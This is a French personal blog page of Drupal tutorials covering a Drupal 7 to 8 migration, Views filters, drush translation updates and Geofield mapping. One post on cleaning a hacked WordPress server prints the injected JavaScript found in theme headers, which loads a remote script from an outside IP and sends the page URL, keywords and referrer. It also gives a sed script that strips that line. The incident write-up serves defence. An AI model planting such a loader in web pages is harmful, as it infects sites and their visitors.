Message d'avertissement

The subscription service is currently unavailable. Please try again later.

Planète vincent59

Par vincent59
Vincent Liefooghe

Migration Media et Images Inline

Migration Media et Images Inline

Dans la série d'articles sur la migration de mon site https://www.vincentliefooghe.net/content/migration-drupal-7-vers-drupal-8 j'en viens maintenant à une partie qui m'a pris pas mal de temps et demandé un peu de développement.

Sur mon site en Drupal 7, j'avais utilisé le module Media_Wysiwyg et Colorbox, qui me permettaient d'insérer des images directement dans le texte.

Je n'ai pas trouvé d'équivalent sous Drupal 8, mais en utilisant comme format d'affichage "Colorbox" pour le champ media_image, ceci répond à mon besoin : ouvrir un champ image dans une "lightbox".

Image
Définition du format d'affichage Media Image

Il reste donc à convertir les fichiers en média, et ensuite à convertir, dans le corps du texte de chaque contenu, les tags "colorbox" en tags "drupal media".

Création des Media liés aux fichiers

Lors de la migration, les fichiers ont bien été importés. Par contre ils ne sont pas reconnus comme media par Drupal ,et donc pas réutilisables.

Après avoir cherché - en vain - des modules qui géraient ceci, j'ai fini par passer par un bout de programme PHP qui utilise les fonctions de Drupal pour réaliser cette opération.

Le code php est le suivant :

query("select * from file_managed where filemime like 'image%'")->fetchAll();

foreach ($results as $file ) {
  echo "File name:",$file->filename," Id : ",$file->fid," mime : ",$file->filemime," uid : ",$file->uid;
  echo "Creation du Media Image pour ",$file->filename,PHP_EOL;
  $media = Media::create([
  'bundle' => 'image',
  'uid' => $file->uid,
  'langcode' => $file->langcode,
  'field_media_image' => [
    'target_id' => $file->fid,
    'alt' => $file->filename
   ]

  ]);

  $media->setPublished(TRUE);
  $retour=$media->save();

  if ( $retour != 1 ) {
    echo "Retour KO ? ",$retour,PHP_EOL;
  }

}

return (TRUE);

 

On peut le lancer avec drush, via la commande :

 

drush --uri=drupal.loc scr /chemin/vers/mon/fichier.php

Après cette étape, on récupère bien dans la librairies de media tous les fichiers

Reprise des images inline

 

Pour convertir les tags, j'ai développé un programme PHP qui va remplacer les instructions inline Colorbox, par exemple

[[{"type":"media","view_mode":"colorbox","fid":"88","attributes":{"alt":"","class":"media-image","height":"300","typeof":"foaf:Image","width":"494"}}]]

par

Le script sera lancé avec en paramètre le Node Id à traiter :

php mediaInline.php -i nid

Par exemple

php mediaInline.php -i 136

Note : j'ai fait le choix de traiter les contenus un par un. Au total, j'avais identifié une vingtaine d'articles concernés. La migration unitaire me permettait de vérifier le traitement pour chacun.

Afin de voir le résultat, il faut vider le cache Drupal avec la commande :

drush cr

 

vincentl
lun 20/04/2020 - 21:54

Catégorie

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Migration avec le module migrate_upgrade

Migration avec le module migrate_upgrade

Installation et activation des modules Drush requis

On va installer les 2 modules suivants : migrate_upgrade, migrate_tools.

composer require drupal/migrate_upgrade composer require drupal/migrate_tools 

Puis activer les modules :

drush pm:enable migrate_upgrade migrate_tools -y 

Dans le fichier settings.php , il faut ajouter la définition de la base source.

Important : elle doit s'appeler migrate.

Par exemple :

$databases['migrate']['default'] =
  array ( 'database' => 'dbdrupal7',
  'username' => 'user_drupal7',
  'password' => 'mdp_drupal7',
  'prefix' => '',
  'host' => 'localhost',
  'port' => '3306',
  'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql',
  'driver' => 'mysql'
);

Générer la migration Drupal 7 vers Drupal 8

Dans la version que j'ai installé, on peut utiliser migrate_upgrade pour générer les scripts de migration, qui seront lancés avec drush.

Prérequis

Attention : à cause d'une incompatibilité avec drush 10, cette fonction nécessite que l'on modifie le fichier vendor/drush/drush/includes/drush.inc pour ajouter la définition de drush_print :

function drush_print($message = '', $indent = 0, $handle = NULL, $newline = TRUE) {
  $msg = str_repeat(' ', $indent) . (string)$message;
  if ($newline) {
    $msg .= "\n";
  }
  if (($charset = 'UTF-8' ) && function_exists('iconv')) {
    $msg = iconv('UTF-8', $charset, $msg);
  }
  if (!$handle) {
    $handle = STDOUT;
  }

  fwrite($handle, $msg);

}

 

Sinon on a le message :

drush migrate-upgrade --legacy-db-key=migrate --configure-only [error] Error: Call to undefined function drush_get_option() in drush_print()

Lancer la commande avec le chemin vers le répertoire source "legacy", ce qui permet de migrer les fichiers également :

drush migrate-upgrade --legacy-db-key=migrate --legacy-root /var/www/drupal7/vincentl --migration-prefix=upg1_ --configure-only

On peut ensuite voir le résultat avec la commande drush migrate-status

Et on peut lancer la migration avec :

drush migrate:import upg1_d7_taxonomy_vocabulary
drush migrate:import upg1_d7_taxonomy_term_categorie
drush migrate:import upg1_d7_taxonomy_term_tags
drush migrate-import --group=migrate_drupal_7

Note : je lance d'abord les migrations de taxonomie pour que la génération des liens de menu se passe correctement. Comme dit précédemment, le processus est assez itératif et a demandé plusieurs essais avant de trouver les bons réglages.

Après cette étape, le contenu a été migré, ainsi que les types de contenu, les menus, etc.

Il reste à faire quelques mises au point et reprise de paramétrage sur les formats de texte (insertion du bouton media par exemple), ainsi que refaire le thème, et traiter le cas des images inline.

 

vincentl
lun 20/04/2020 - 21:42

Catégorie
Tag

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Processus de migration vers Drupal 8

Processus de migration vers Drupal 8

Processus de migration

Le processus de migration a été testé plusieurs fois. Je suis parti sur la base d'une sauvegarde du site Drupal 7 (fichiers + base de données).

J'ai installé ça dans un container LXC sur mon PC, ce qui me permettra de supprimer tout cela une fois la migration terminée.

Au final, on a donc un container sous Debian 10 avec PHP 7.3.11 et une base MariaDB 10.1.

L'idée est donc la suivante :

  • création d'une base de données pour Drupal 8
  • installation d'un site en Drupal 8, en mode "standard", mais sans contenu
  • installation et activation des modules portés sous Drupal 8
  • installation et activation des modules de migration
  • lancement de la migration des contenus
  • reprise des média et de leur affichage (la migration ne gère pas ce point a priori)
  • ajustements manuels / reparamétrage dans la cible D8.

Le processus a été fait de manière itérative, je m'y suis repris à 3 ou 4 fois avant d'avoir un processus qui tienne la route.

Installation Drupal 8

Une fois la base de données créée, on procède à l'installation de Drupal 8.

A la date d'installation, la version est Drupal 8.8.5.

Il est maintenant fortement recommandé d'utiliser composer pour installer et mettre à jour Drupal.

Sachant que même l'installation de modules utilise composer, c'est la solution que j'ai utilisé. C'est d'ailleurs très pratique quand on refaire plusieurs fois la même installation, puisqu'une fois le fichier _composer.json _ généré, il est possible de s'en resservir.

Mon fichier comprend les modules suivants :

"repositories": [<br />
  { "type": "composer",<br />
  "url": "https://packages.drupal.org/8" }<br />
 ],<br />
"require": {<br />
  "composer/installers": "^1.2",<br />
  "drupal/colorbox": "^1.4",<br />
  "drupal/core-composer-scaffold": "^8.8",<br />
  "drupal/core-project-message": "^8.8",<br />
  "drupal/core-recommended": "^8.8",<br />
  "drupal/honeypot": "^1.30",<br />
  "drupal/pathauto": "^1.6",<br />
  "drupal/tagclouds": "^1.0",<br />
  "drupal/token": "^1.6",<br />
  "drupal/xmlsitemap": "^1.0@RC",<br />
  "drush/drush": "^10.2" },

On remarquera que drush est installé en même temps que Drupal.

Une fois le répertoire d'installation créé, et le fichier composer.json copié dans ce répertoire, l'installation se fait simplement :

composer install

A ce niveau, on peut déjà accéder au nouveau site (il faut auparavant avoir paramétré le virtualhost qui pointe sur le bon répertoire), entrer les paramètres de la base de données. J'ai personnellement choisi d'installer uniquement le français, car je ne vais pas gérer le multilingue.

Comme le site sera migré, on peut s'arrêter avant la configuration du site.

L'étape suivante est de préparer et lancer la migration.

 

 

vincentl
dim 19/04/2020 - 12:45

Catégorie
Tag

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Migration Drupal 7 vers Drupal 8

Migration Drupal 7 vers Drupal 8

Après plusieurs années sous Drupal 7, et l'arrivée imminente de Drupal 9, il était temps pour moi de migrer mon site sur Drupal 8, d'autant que les dernières versions ont maintenant des utilitaires de migration.

Situation initiale

Mon site perso n'est pas très complexe, ni au niveau contenu (environ 200 articles) ni au niveau modules Drupal.

La version utilisée est Drupal 7.69.

En plus des modules du "core", j'utilise des choses plutôt classiques :

  • ctools (pré-requis pour pas mal de choses)
  • blog (a disparu de la V8, c'est un type de contenu comme les autres)
  • media et media_wysiwyg (pour insérer les images dans le contenu)
  • colorbox (pour afficher les images dans une box en surimpression)
  • pathauto (permet de générer automatiquement un alias)
  • botcha (comme anti-spam)
  • tagclouds (affiche les tags sous forme de nuage)
  • xmlsitemap

Le thème est un développement custom, basé sur Adaptative Theme. Il sera à refaire.

Dans tout ça, les seuls module non portés en D8 et pour lesquels il faudra trouver une alternative sont media_colorbox et botcha.

Pour l'antispam, j'ai opté pour le module honeypot, et pour media_colorbox, le paramétrage de l'affichage pour les médias de type image va suffire.

Côté volumétrie, on a :

  • 159 fichiers
  • 199 articles
  • 4 "books" (série d'articles sur le même sujet)
  • 64 commentaires.

On utilise 2 langues : français et anglais (9 en anglais, le reste en français ou neutre).

Préparation du site sous Drupal 7

Afin de simplifier la migration, je vais changer la langue des articles en anglais pour les assigner au français ou au neutre.

Pour les alias d'URL, même modification (on assigne tout au "All languages").

Vu la faible volumétrie, je fais cela directement via l'interface web de Drupal, ce qui me permet de m'assurer que tous les champs sont correctement mis à jour.

Suite aux tests effectués, j'ai aussi modifié le champ field_alt_text pour enlever colorbox_link du mode d'affichage.

Les différentes étapes de la migration seront détaillées dans la suite de cette série d'articles, avec les problèmes que j'ai pu rencontrer.

 

Vincent
dim 19/04/2020 - 12:40

Catégorie

Ajouter un commentaire

Par vincent59
Vincent Liefooghe

Hack de sites Wordpress avec jquery.min.php

Depuis quelques jours, je recevais des mails de monit, indiquant un load average trop élevé sur un serveur dont je m'occupe épisodiquement (serveur de l'association Down Up).Cela m'a semblé curieux, car il  s'agit d'un serveur dédié OVH, avec un Xeon 8 coeurs, et 64 Go de RAM, qui héberge uniquement quelques sites web.Ayant eu dans le temps des problèmes de piratage de sites, j'ai regardé le nombre de messages dans la file postfix :
mailq

Oups ! plus de 23 000 messages en attente, rejetés par les plates-formes cibles.Dans les messages, le nom de l'un des sites apparaît. Il s'agit d'un Wordpress, dans une version assez ancienne. Dans les différents répertoire, on découvre des fichiers php infectés, traînant un peu partout, avec la même date : 16 novembre. Ce qui veut dire que depuis plusieurs jours, la machine est infectée.Je supprime les fichiers php infectés, et teste l'accès au site, qui semble fonctionner, mais qui redirige vers  des sites pour adultes...En y regardant plus précisément, d'autres sites ont le même comportement, alors qu'aucun nouveau fichier ne date de novembre ; pas de fichiers curieux non plus.Une recherche sur Google me donne quelques pistes. Je fouille également dans mes cookies, pour découvrir un cookie nommé __cfgoid. La recherche dans les fichiers de Wordpress me sort tous les fichiers header.php des thèmes.Une ligne de javascript a été insérée dans les fichiers : 


<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCS
tring();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(va
r e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__
cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascr
ipt" src="/%27%20%2B%20%27http%3A//80.90.43.202/js/jquery.min.php%27%20%2B%20%27?key=b64%27%20%20%20%27&utm_campaign=%27%20%20%20%27snt2014%27%20%20%20%27&utm_source=%27%20%20%20window.location_.host%20%20%20%27&utm_medium=%27%20%20%20%27&utm_content=%27%20%20%20window.location%20%20%20%27&utm_term=%27%20%20%20encodeURIComponent%28%28%28k%3D%28function%28%29%7Bvar%20keywords%20%3D%20%27%27%3Bvar_%20metas%20%3D%20document.getElementsByTagName%28%27meta%27%29%3Bif%20%28metas%29%20%7Bfor%20%28var%20x%3D0%2Cy%3Dmetas.length%3B%20x%3Cy%3B%20x%20%20%29%20%7Bif%20%28metas%5Bx%5D.name.toLowerCase%28%29%20%3D_%3D%20"keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(
/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><'
+ '/script>')));</script>
</head>

Il suffit de supprimer la ligne pour nettoyer les entêtes. J'ai développé pour cela un script shell de quelques lignes :

#!/bin/bash
# Recherche les fichiers infectes
BADFILE=$(grep -lR jquery.min.php *)
#
# pour chacun
for fic in $BADFILE ; do
  echo === Traitement de $fic ===
  echo sed -i.bak '/cfgoid/d' $fic
  sed -i.bak '/cfgoid/d' $fic
done

Le script recherche d'abord la chaine jquery.min.php dans tous les fichiers des sous-répertoires, puis pour chacun supprime la ligne contenant le nom du cookie.Un arrêt / relance du serveur http Apache permet de vider le cache php...Après nettoyage, je vais modifier les permissions pour interdire l'écriture dans les répertoires de thèmes Wordpress.Le fait que les fichiers php puissent être utilisés un peu partout dans Wordpress ne rendent pas les choses faciles.Si on compare à Drupal, dans ce dernier, seul le fichier index.php doit être appelé directement. L'appel d'un autre script php peut donc être refusé, ce qu'on fait facilement avec des règles nginx...      

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement

J'ai eu récemment un besoin qui semble assez simple à première vue : pour un type de contenu spécifique, je voulais ajouter dans Views un filtre exposé me permettant de sélectionner tous les contenus ou seulement ceux dont j'étais l'auteur.

A priori, il suffit de créer une relation de type "Contenu: Auteur", et l'utiliser dans un filtre exposé sur l'utilisateur Actuel.

Sauf que... ceci me donne 2 options : les contenus de l'utilisateur actuel (les miens) ou les autres (pas les miens).

J'ai cherché pas mal de manière de faire, jusqu'à tomber sur une discussion qui parlait du module "Composite Views Filter", qui m'a finalement permis de faire ce que je voulais.

Création de la vue avec la relation Contenu : Auteur

Pour cela on crée une vue (Structure / Vue / Ajouter).

On lui donne un nom, et on va afficher les contenus de type "Signalement", puis on clique sur Continue & Edit. On ajoute les champs qui nous intéressent : pour la démo, ce sera le titre du contenu, l'UID de l'auteur et la date.

Puis on va ajouter une relation. Pour cela déplier "Avancé", et choisir Ajouter sur les Relations.

On choisit alors la relation Contenu / Auteur : c'est celle qui nous intéresse.

On modifie l'identiiant (par défaut c'est "author", je vais mettre Auteur). Puis on confirme en cliquant sur "Appliquer (tous les affichages).

A ce stade, la preview donne le tableau avec tous les auteurs :

Première tentative avec un filtre exposé sur l'auteur

On ajoute un filtre exposé (FILTER CRITERIA / Ajouter). On va sélectionner "Utilisateur : Actuel" :

Dans l'écran suivant, on choisit la relation que l'on a défini auparavant. On définit le filtre comme exposé, afin de laisser l'utilisateur choisir sa valeur.

Remarque : j'utilise Better Exposed Filter, qui ajoute une valeur "-Tous-", mais qui ne peut pas être sélectionnée par défaut.

Au final, les options sont réduites à Oui et Non :

Pas possible donc dans ce cas d'avoir mes contenus (correspondant à UID = 1) ou tous. Lorsqu'on sélectionne l'option Non, on a les autres contenus, mais pas le sien...

J'ai donc commencé à regarder du côté du développement Views, avant d'avoir vent du module Composite Views Filter.

Deuxième essai avec le module Composite Views Filter

Ce module nécessite d'être téléchargé et activé. Comme d'habitude, je fais cela avec Drush :

drush dl composite_views_filter
drush en -y composite_views_filter

Ensuite, il faut ajouter un filtre exposé de type "Global : Composite Filter".

On va ensuite donner les propriétés de ce filtre : une étiquette, et une description (optionnelle).  Ensuite, dans Groups, une liste de champs de type clé|valeur, qui seront utilisés par la suite.

Pour terminer, on donne un libellé pour "Tous". Dans l'option "Plus", il faut aussi donner un ID au filtre.

A ce stade, on a un nouveau filtre exposé, mais qui n'est pas actif. Il reste une étape : créer un filtre qui utilise ce filtre global. Pour cela, on ajoute un nouveau filtre, sur l'utilisateur Actuel :

On valide via le bouton "Appliquer (tous les affichages)". C'est à ce niveau que le groupe défini auparavant peut être utilisé. On sélectionne la valeur correspondant au libellé saisi.

Le filtre exposé est alors actif. Si on sélectionne l'option "Mes contenus uniquement", on a bien les contenus de l'UID = 1 :

Si on sélectionne "Tous les utilisateurs" on a la totalité des UID :

On sauvegarde la vue, et le tour est joué.

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Importer et tenir à jour les traductions Drupal avec Drush

Lorsqu'on utilise Drupal, drush est un outil qui permet de gagner beaucoup de temps.Par exemple, pour mettre à jour les traductions des différents modules d'un site, on peut passer par l'interface, mais ceci suppose d'aller télécharger chaque fichier de traduction.Avec drush, quelques lignes de commandes suffisent :
# Telechargement du module drush_language (c'est une fonctionnalité additionnelle de drush)
drush dl drush_language
# Téléchargement du module Drupal l10n_update
drush dl l10n_update
# Activation de ce module
drush en -y l10n_update
# Ajout du langage "fr" pour le Français
drush language-add fr
# Activation de la langue fr
drush language-enable fr
# On nettoie le cache
drush clear-cache drush
# On fait une vérification des traductions
drush l10n-update-refresh
# On lance la mise à jour des traductions
drush l10n-update

La dernière commande va télécharger les fichiers de traduction, et les importer dans la foulée.Exemple sur un site réel :

drush l10n-update
Fetching update information for all projects / all languages.                                      [status]
Found 19 projects to update.                                                                       [status]
Mise à jour des traductions                                                                       [status]
                                                                                                   [status]
Traduction de better_exposed_filters vérifiée.                                                   [ok]
Traduction de colorbox vérifiée.                                                                 [ok]
Traduction de colorbox_node vérifiée.                                                            [ok]
Traduction de ctools vérifiée.                                                                   [ok]
Traduction de date vérifiée.                                                                     [ok]
Traduction de drupal vérifiée.                                                                   [ok]
Traduction de email vérifiée.                                                                    [ok]
Traduction de entity vérifiée.                                                                   [ok]
Traduction de entityreference vérifiée.                                                          [ok]
Traduction de eu_cookie_compliance vérifiée.                                                     [ok]
Traduction de field_formatter_settings vérifiée.                                                 [ok]
Traduction de field_group vérifiée.                                                              [ok]
Traduction de field_permissions vérifiée.                                                        [ok]
Traduction de geocoder vérifiée.                                                                 [ok]
Traduction de geofield vérifiée.                                                                 [ok]
Traduction de geofield_gmap vérifiée.                                                            [ok]
Traduction de geophp vérifiée.                                                                   [ok]
Traduction de hybridauth vérifiée.                                                               [ok]
Traduction de ip_geoloc vérifiée.                                                                [ok]
Traduction de l10n_update vérifiée.                                                              [ok]
Traduction de leaflet vérifiée.                                                                  [ok]
Traduction de leaflet_markercluster vérifiée.                                                    [ok]
Traduction de leaflet_more_maps vérifiée.                                                        [ok]
Traduction de libraries vérifiée.                                                                [ok]
Traduction de media vérifiée.                                                                    [ok]
Traduction de memcache_storage vérifiée.                                                         [ok]
Traduction de pathauto vérifiée.                                                                 [ok]
Traduction de role_delegation vérifiée.                                                          [ok]
Traduction de select_or_other vérifiée.                                                          [ok]
Traduction de services vérifiée.                                                                 [ok]
Traduction de token vérifiée.                                                                    [ok]
Traduction de views vérifiée.                                                                    [ok]
Traduction de views_data_export vérifiée.                                                        [ok]
Traduction de wysiwyg vérifiée.                                                                  [ok]
Traduction du module colorbox_node téléchargée.                                                 [ok]
Traduction de colorbox_node importée.                                                             [ok]
Traduction du module ctools téléchargée.                                                        [ok]
Importation de la traduction de ctools. (6%).                                                      [ok]
Importation de la traduction de ctools. (16%).                                                     [ok]
Importation de la traduction de ctools. (35%).                                                     [ok]
Importation de la traduction de ctools. (54%).                                                     [ok]
Importation de la traduction de ctools. (75%).                                                     [ok]
Importation de la traduction de ctools. (88%).                                                     [ok]
Traduction de ctools importée.                                                                    [ok]
Traduction du module date téléchargée.                                                          [ok]
Importation de la traduction de date. (28%).                                                       [ok]
Importation de la traduction de date. (72%).                                                       [ok]
Traduction de date importée.                                                                      [ok]
Traduction du module drupal téléchargée.                                                        [ok]
Importation de la traduction de drupal. (1%).                                                      [ok]
Importation de la traduction de drupal. (2%).                                                      [ok]
Importation de la traduction de drupal. (3%).                                                      [ok]
Importation de la traduction de drupal. (5%).                                                      [ok]
Importation de la traduction de drupal. (7%).                                                      [ok]
Importation de la traduction de drupal. (9%).                                                      [ok]
Importation de la traduction de drupal. (12%).                                                     [ok]
Importation de la traduction de drupal. (15%).                                                     [ok]
Importation de la traduction de drupal. (18%).                                                     [ok]
Importation de la traduction de drupal. (20%).                                                     [ok]
Importation de la traduction de drupal. (25%).                                                     [ok]
Importation de la traduction de drupal. (30%).                                                     [ok]
Importation de la traduction de drupal. (33%).                                                     [ok]
Importation de la traduction de drupal. (39%).                                                     [ok]
Importation de la traduction de drupal. (46%).                                                     [ok]
Importation de la traduction de drupal. (52%).                                                     [ok]
Importation de la traduction de drupal. (59%).                                                     [ok]
Importation de la traduction de drupal. (66%).                                                     [ok]
Importation de la traduction de drupal. (73%).                                                     [ok]
Importation de la traduction de drupal. (79%).                                                     [ok]
Importation de la traduction de drupal. (86%).                                                     [ok]
Importation de la traduction de drupal. (92%).                                                     [ok]
Importation de la traduction de drupal. (95%).                                                     [ok]
Traduction de drupal importée.                                                                    [ok]
Traduction du module entity téléchargée.                                                        [ok]
Importation de la traduction de entity. (58%).                                                     [ok]
Traduction de entity importée.                                                                    [ok]
Traduction du module entityreference téléchargée.                                               [ok]
Traduction de entityreference importée.                                                           [ok]
Traduction du module eu_cookie_compliance téléchargée.                                          [ok]
Traduction de eu_cookie_compliance importée.                                                      [ok]
Traduction du module field_formatter_settings téléchargée.                                      [ok]
Traduction de field_formatter_settings importée.                                                  [ok]
Traduction du module field_group téléchargée.                                                   [ok]
Traduction de field_group importée.                                                               [ok]
Traduction du module field_permissions téléchargée.                                             [ok]
Traduction de field_permissions importée.                                                         [ok]
Traduction du module geofield téléchargée.                                                      [ok]
Traduction de geofield importée.                                                                  [ok]
Traduction du module ip_geoloc téléchargée.                                                     [ok]
Traduction de ip_geoloc importée.                                                                 [ok]
Traduction du module l10n_update téléchargée.                                                   [ok]
Traduction de l10n_update importée.                                                               [ok]
Traduction du module leaflet téléchargée.                                                       [ok]
Traduction de leaflet importée.                                                                   [ok]
Traduction du module media téléchargée.                                                         [ok]
WD l10n_update: Import of string "Ce processus est requis lors de l'installation de media sur un   [error]
site existant. Media nécessite de scanner les fichiers existants et d'identifier le type de
fichier. Mettre à jour les types de fichier pour les fichiers @file ?>" was skipped because of
disallowed or malformed HTML.
Importation de la traduction de media. (95%).                                                      [ok]
Traduction de media importée.                                                                     [ok]
Traduction du module memcache_storage téléchargée.                                              [ok]
Traduction de memcache_storage importée.                                                          [ok]
Traduction du module select_or_other téléchargée.                                               [ok]
Traduction de select_or_other importée.                                                           [ok]
Traduction du module views téléchargée.                                                         [ok]
Importation de la traduction de views. (3%).                                                       [ok]
Importation de la traduction de views. (7%).                                                       [ok]
Importation de la traduction de views. (16%).                                                      [ok]
Importation de la traduction de views. (25%).                                                      [ok]
Importation de la traduction de views. (39%).                                                      [ok]
Importation de la traduction de views. (50%).                                                      [ok]
Importation de la traduction de views. (64%).                                                      [ok]
Importation de la traduction de views. (76%).                                                      [ok]
Importation de la traduction de views. (90%).                                                      [ok]
Traduction de views importée.                                                                     [ok]
Traduction du module views_data_export téléchargée.                                             [ok]
Traduction de views_data_export importée.                                                         [ok]
WD l10n_update: 1 disallowed HTML string(s) in files: translations://media-7.x-1.4.fr_0.po.        [warning]
19 translation files imported. 1732 translations were added, 0 translations were updated and 0     [status]
translations were removed.
One translation string was skipped because of disallowed or malformed HTML. See the log for        [warning]
details.

La commande drush a pris quelques minutes à peine, pour importer 19 fichiers...Quand je vous dis que c'est un outil magique ! 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie Drupal : Views + Geofield Map

Dans les articles précédents (stockage des données notamment) , nous avons vu comment ajouter un champ de type Geofield et l'afficher sous forme de carte.

Nous allons voir ici comment afficher plusieurs points sur une seule carte. Pour cela, nous devons juste installer Views, et activer les modules Views, Views UI et Geofield Map.

drush dl views
drush en views views_ui geofield_map

Création de la vue

Il faut ensuite créer une vue. Pour cela, on va dans Structure /  Vues, puis on va ajouter une vue (admin/structure/views/add). Nous allons nous baser sur le type de contenu créé auparavant,  qui contient un champ Geofield. On donne un nom à la vue, puis on sélectionne le type de contenu (Magasin). On peut créer un block, sur la base d'une liste de champs (Unformatted list of fields).

Si on veut on peut également créer une page, tout dépend de ce que l'on veut faire.

On clique ensuite sur Continue & Edit pour continuer la création de la vue.

Choix des champs

Par défaut, seul le titre est affiché :

Il faut alors cliquer sur "Add", puis choisir le champ Coordonnées qui est de type Geofield.

 

On supprime l'affichage du libellé, et on laisse les valeurs par défaut (y compris le formatter en Well Known Text). En effet c'est dans le type de formatage global que l'on choisira Google Map.

On valide tout cela. Dans les chjamps, on doit donc avoir Title et Coordonnées.

Choix du format d'affichage

A ce stade, on a uniquement le titre et les coordonnées. Rien de très sympathique. Il faut alors changer le format de la vue :

A ce niveau, on peut choisir "Geofield Map" :

On valide en cliquant sur "Apply". On peut alors choisir quel champ sert de source. On va choisir le champ field_coordonnees que l'on vient d'ajouter à notre vue :

On peut laisser les valeurs par défaut dans un premier temps. Si on se rend à l'url de la vue, on a un premier résultat :

Si on clique sur l'un des marqueurs, le titre apparaît.

Amélioration de l'affichage

En modifiant la vue on peut facilement :

  • Ajouter des informations dans la Pop-Up
  • Permettre le scroll dans la carte (ScrollWheel)
  • Mettre un niveau de zoom par défaut (Zoom / Zoom minimum et maximum)

Dans l'exemple, la hauteur de la carte a été modifiée à 450 pixels, et on a mis la description plutôt que le titre dans la pop-up.

C'est globalement la limite du couple Views + Geofield Map, qui offre un premier niveau de formatage, sans beaucoup de souplesse.

On peut aller plus loin, avec d'autres modules. Ceci fera l'objet d'un autre article.

 

 

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie Drupal : utilisation de AddressField + Geocoder

Dans la série Cartographie, nous avons vu auparavant quels modules utiliser pour stocker les données géographiques, et les présenter de manière simple.

Cependant, à ce stade la saisie d'une adresse n'était possible que via ses coordonnées géographiques, ou sur une carte.

Si on veut coupler la saisie d'une adresse et l'encodage, on peut utiliser 2 modules complémentaires :

  • Address Field : très utilisé dans Drupal Commerce, il permet de fournir un champ de saisie des adresses, de manière normalisée, avec un formulaire propre au pays
  • Geocoder : couplé avec Address Field, il pemettra d'encoder l'adresse pour la transformer en coordonnées géographiques.

A priori, il semble qu'il faille également installer le module Entity, sinon on a des messages d'erreur de type :

PHP Fatal error:  Call to undefined function entity_get_all_property_info() in /var/www/drupal/sites/all/modules/contrib/geocoder/geocoder.widget.inc on line 89

L'installation des modules s'effectue normalement. Par exemple avec drush :

drush dl geocoder addressfield entity
drush en geocoder addressfield entity

Address Field

Imaginons que nous voulions gérer des magasins dans plusieurs pays : France, Belgique, Suisse. Nous allons créer un type de contenu Magasin, avec un Nom, une description et y ajouter un champ Adresse :

Au niveau du Widget, on pourra alors sélectionner les pays : Belgium, France, Switzerland (pour la démo, j'utilise un site en anglais). Et définir la France comme pays par défaut.

En saisie, on a alors le formulaire qui s'affiche, avec la France comme pays par défaut :

Mais à ce stade, l'adresse est uniquement affichée de manière textuelle, car nous n'avons pas encore introduit l'encodage :

Geofield + Encodage

Pour permettre la cartographie, il faut donc un champ qui stocke les coordonnées géographiques (apporté par Geofield). Le fait d'avoir ajouté le module Geocoder permet d'ajouter une option dans les Widgets :

Lorsqu'on ajoute un champ de type Geofield, on peut alors sélectionner le widget de type "Geocode from another field". Au niveau des paramètres du champ, on laisse le défaut.

On va ensuite choisir quel champ sera utilisé comme base de géocoding, et le "moteur" à utiliser. Plusieurs choix sont possibles :

Dès lors, lorsqu'on saisit une adresse, celle-ci est envoyée au service de géocodage. Les coordonnées sont bien récupérées. Dans l'exemple ci-après, elles sont juste affichées au format WKT.

En effet, le paramétrage de l'affichage du champ est le suivant :

Conclusion

Nous avons vu dans cet article comment utiliser les modules AddressField, Geocoder, Geofield et Entity pour ajouter un champ de type adresse et un champ de type Geofield sur un type de contenu, et récupérer les coordonnées géographiques de l'adresse via les services de Geocodage.

Les données stockées dans le champ Geofield peuvent ensuite servir à l'affichage.

Si on modifie le type de format du champ en Dynamic Google Map par exemple :

L'affichage se présente sous la forme d'une carte :

Dans de prochains articles, nous verrons comment intégrer Views et d'autres affichages (Leaflet par exemple)

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Cartographie avec Drupal

Dans un précédent article (https://www.vincentliefooghe.net/content/cartographie-rapide-avec-drupal), j'ai montré comment on pouvait ajouter rapidement et en quelques modules des fonctions de cartographie.

Dans cet article, nous allons aller un peu plus loin dans ce domaine, avec la présentation des principes et de différents modules.

Principes et composants de la cartographie

Lorsque l'on parle de cartographie, on pense souvent à la restitution des données. Google Maps a permis de démocratiser cet aspect.
Cependant, la chaîne complète repose sur un ensemble de composants :

Pour chacun de ces composants, Drupal propose souvent plusieurs solutions, parfois incompatibles. Il convient donc de faire le bon choix afin de construire une solution globale pérenne et fonctionnelle.

Nous allons voir, dans les différentes parties de cet article, quels sont les composants / modules Drupal que nous pouvons utiliser.

Et pour ceux qui sont pressés et qui veulent rapidement mettre en oeuvre une solution, ils peuvent s'orienter vers le guide du mapping rapide, qui permet d'avoir une solution complète en installant 5 modules :

  • geophp : pré-requis pour les fonctions de géolocalisations
  • ctools : pré-requis pour geofield et views
  • geofield : stockage des données
  • geofield_gmap : widget de saisie Google Maps pour le champ geofield
  • views : pour l'affichage des différents contenus sur une seule page

Stockage des données

Pour le stockage des données géographiques, c'est geofield qui est le plus utilisé et le plus supporté.
Il nécessite en pré-requis les modules geophp et ctools.

L'installation et l'activation du module via drush consiste donc en :

drush dl ctools geophp geofield

Project ctools (7.x-1.9) downloaded to sites/all/modules/ctools.                                          [success]
Project ctools contains 10 modules: term_depth, ctools_access_ruleset, views_content, page_manager, bulk_export, stylizer, ctools_ajax_sample, ctools_custom_content, ctools_plugin_example, ctools.
Project geophp (7.x-1.7) downloaded to sites/all/modules/geophp.                                          [success]
Project geofield (7.x-2.3) downloaded to sites/all/modules/geofield.                                      [success]
Project geofield contains 2 modules: geofield_map, geofield.

drush en -y ctools geophp geofield
